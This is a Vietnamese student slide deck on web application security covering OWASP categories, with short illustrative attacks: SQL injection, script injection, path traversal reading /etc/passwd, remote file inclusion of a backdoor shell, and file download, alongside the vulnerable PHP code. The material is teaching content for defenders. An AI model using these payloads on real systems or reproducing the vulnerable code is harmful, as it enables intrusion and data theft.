You are on page 1of 20

WEB APPLICATION SECURITY

Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh

Date: 1-5-2015
ABOUT AUTHOR

•  Name: Nguyễn Tuấn Anh


Nguyễn Trường Phú
•  Class: 23CCAN04
•  Unit: An toàn ứng dụng
CONTENT

1.  Web application attack and defense


2.  Modsecurity (mod_sec)
Web Application
attack and Defense
Web Application Security

Nền tảng Website phổ biến:

Web services: Languages: Databases:

Client – Side
•  MySQL
•  HTML + CSS / HTML5 + CSS3 MariaDB
•  Apache (httpd) • 
•  Javascript / Jquery
•  Nginx + + • 
• 
MongoDB
MemSQL
Server - Side •  Access
•  IIS •  SQLserver
•  PHP •  MSSQL
•  Apache Tomcat •  ASPX (ASP.NET) •  ……..
•  JSP + Servlet (JAVA)
Web Application Security

1 Website có thể bị tấn công như thế nào?

•  Thông qua Authencation (Các hình thức tấn công vào mật khẩu, giao thức mã hoá, hình thức chứng thực,…)
•  Thông qua Session, Transport,…. (Các hình thức tấn công qua bảo mật đường truyền bao gồm cả MITM)

•  Thông qua Lổ hổng Web Application


•  Thông qua Lổ hổng OS (Đặc biệt nhiều đối với Windows và khá ít đối với Linux)
•  Thông qua Server Application/Software (Lổ hổng các service/software khác trên server: Mail, browser,adobe,java,…)
•  Thông qua Mã độc hoặc Backdoor được thiết lập từ trước
•  Thông qua các hình thức tấn công từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, …..)
•  Thông qua Crawler hoặc các kẻ hở trong configure và quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,…
•  Thông qua Tấn công vật lý
•  Thông qua tâm lý con người (Social)
Web Application Security

Lổ hổng Web Application

10 quy chuẩn bảo mật và cũng là 10 phân nhóm lỗ hổng bảo mật ứng dụng web theo OWASP 2010.

1.  Injection (SQLi, LDAPi, OS command injection,…)


2.  Cross Site Scripting (XSS)
3.  Broken Authentication and Session Management (Nguy cơ về quản lý phiên/session)
4.  Insecure Direct Object References (Các lổ hổng trong tham chiếu)
5.  Cross Site Request Forgery (CSRF)
6.  Security Misconfiguration (Lổ hổng trong cấu hình, triển khai dịch vụ web,…)
7.  Insecure Cryptographic Storage (Lổ hổng trong mã hoá dữ liệu nhạy cảm)
8.  Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm)
9.  Insufficient Transport Layer Protection (Lổ hổng đường truyền)
10.  Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng)
Web Application Security

Ví dụ về 1 số hình thức tấn công Web Application phổ biến:

•  SQL injection (SQLi)


•  Cross Site Scripting (XSS)
•  Local File Inclusion (LFI)
•  Remote File Inclusion (RFI)
•  Local File Discluse/Download (LFD)
•  …..
Web Application Security
1. SQL injection

Định nghĩa:
SQL injection (SQLi) là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ
hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông
báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các
câu lệnh SQL bất hợp pháp
Web Application Security
1. SQL injection

Ví dụ:

Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl

è Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page
Trong đó có thể $page=$_GET(‘tenpage’)
Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=SQl or 1=1

è Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1

Ta thấy vì 1=1 luôn đúng nên truy vấn trả lại tất cả những thông tin có trong bảng chuyenmuc
⇒  Thông tin bị khai thác => Lỗi.
Attacker có thể thực hiện truy vấn phức tạp hơn, truy vấn các cột, trường, thông tin quan trọng hơn.
Web Application Security
2. XSS

Định nghĩa:

XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập các dữ liệu vào mà
không thông qua kiểm duyệt nội dung, những dữ liệu này sẽ tương tác trực tiếp với
những người dùng khác cùng sử dụng website. Nguy cơ tạo ra là hacker có thể
chèn các mã kịch bản như HTML, Javascript… (client side) nhằm ăn cắp
SessionCookie, thay đổi giao diện (deface) hoặc chuyển hướng đến trang có mã
độc khác.
Web Application Security
2. XSS

Định nghĩa:
Web Application Security
2. XSS

Ví dụ:
Code lây $name trực tiếp từ giá trị khung name và in ra thẳng: if(!empty($_GET['name']))
Khi attacker không truy vấn bình thường mà inject mã javascript {
vào khung name ó Truyền $name=$_GET['name'];
giá trị trực tiếp cho biến name: print $name;
<script>alert(“Crazykid”)</script> } else {
Lúc này được javascript được gán cho biến name và in ra
Như một câu lệnh chứ không phải là 1 truy vấn bình thường
ó đoạn javascript độc hại của attacker được thực thi
Web Application Security
3. LFI
Định nghĩa:

Lỗ hổng cho phép các attacker có thể truy vấn các tập tin nhạy cảm trên
web server và đọc được
Nội dung các tập tin đó. Ví dụ các tập tin nhạy cảm: /etc/passwd, /etc/
shadow, httpd.conf,……
Web Application Security
3. LFI
Ví dụ:
Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl

è Nếu code trang view có dạng:


<?php
$Bien=$_GET[‘page’];
Include $Bien; ?>
Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=../../../etc/passwd

è Lúc này trở thành giống như là ta code như sau:


<?php
$Bien=$_GET[‘page’];
Include ../../../etc/passwd; ?>
è Attacker có thể đọc được nội dung của tập tin passwd trong đường dẫn ../../etc/ trên server
ngay chính tại trang view.

Chú ý ../ là chuyển lên một thư mục trong Linux. Nếu server windows thì dung ..\ ó URL lencode = %5C
Web Application Security
3. RFI
Định nghĩa:

Cho phép attack gọi đến một file trên web server hoặc trên server khác ngay tại web
server này.
Ví dụ:
http://ceh.vn/page?=http://www.vietnamnet.vn
Nếu ceh.vn bị lỗi RFI thì nội dung trang vietnamnet.vn sẽ hiển hị trên ceh.vn
Nếu attacker đặt backdoor trên vietnamnet.vn dạng:
http://www.vietnamnet.vn/shell.php
Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php
Thì nội dung backdoor shell.php sẽ được include vào source code của ceh.vn ó ta cắm
backdoor trưc tiếp trên ceh.vn
Web Application Security
3. RFI
Ví dụ:
Code:
<?php
Input: $test=$_GET['test'];
include $test.'id=1';
http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt
?>
Và register_globals = off
Out:
Web Application Security
3. LFD
Định nghĩa:

Giống LFI nhưng thay vì attacker có thể đọc các file nhạy cảm thì ở đây attacker có thể
Download các file nhạy cảm về máy
Web Application Security
3. LFD
Ví dụ:

Đoạn code sau:


<?php
$test=$_GET['test'];
readfile($test);
?>
Hàm readfile() cho phép chúng ta đọc code file được truyền vào .
http://ceh.vn/CEH/3LFD/1lfd.php?test=/etc/passwd
Web Application Security

Phát hiện, kiểm tra các lổ hổng Web Application:

•  Ở vị trí attacker tấn công Opensource hoặc ở vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat:
Đọc source code, Debug Source code tìm lổ hổng.
•  Tấn công CloseSource, Đa số, kiểm thử Blackbox:

q  Sử dụng phương pháp thủ công

Phương pháp Fuzzer vào các input


(Nhập vào chuỗi ký tự ngẫu nhiên hoặc có mục địch nhằm xác định lổ hổng)
Ví dụ: Thêm vào URL, khung Search, Login,… các câu truy vấn, thay đổi method, tiêm vô số ký tự,…

q  Sử dụng phương pháp tự động

Sử dụng các công cụ Scan, tìm kiếm lổ hổng


Ví dụ:
OpenSource: W3AF, Paros (Andiparos và Zed attack Proxy), Skipfish, Grabber, Zero Day Scan,…
CloseSource: Acunetix, N-stalker, NeXpose, Retina, AppScan, ParosPro, ….

You might also like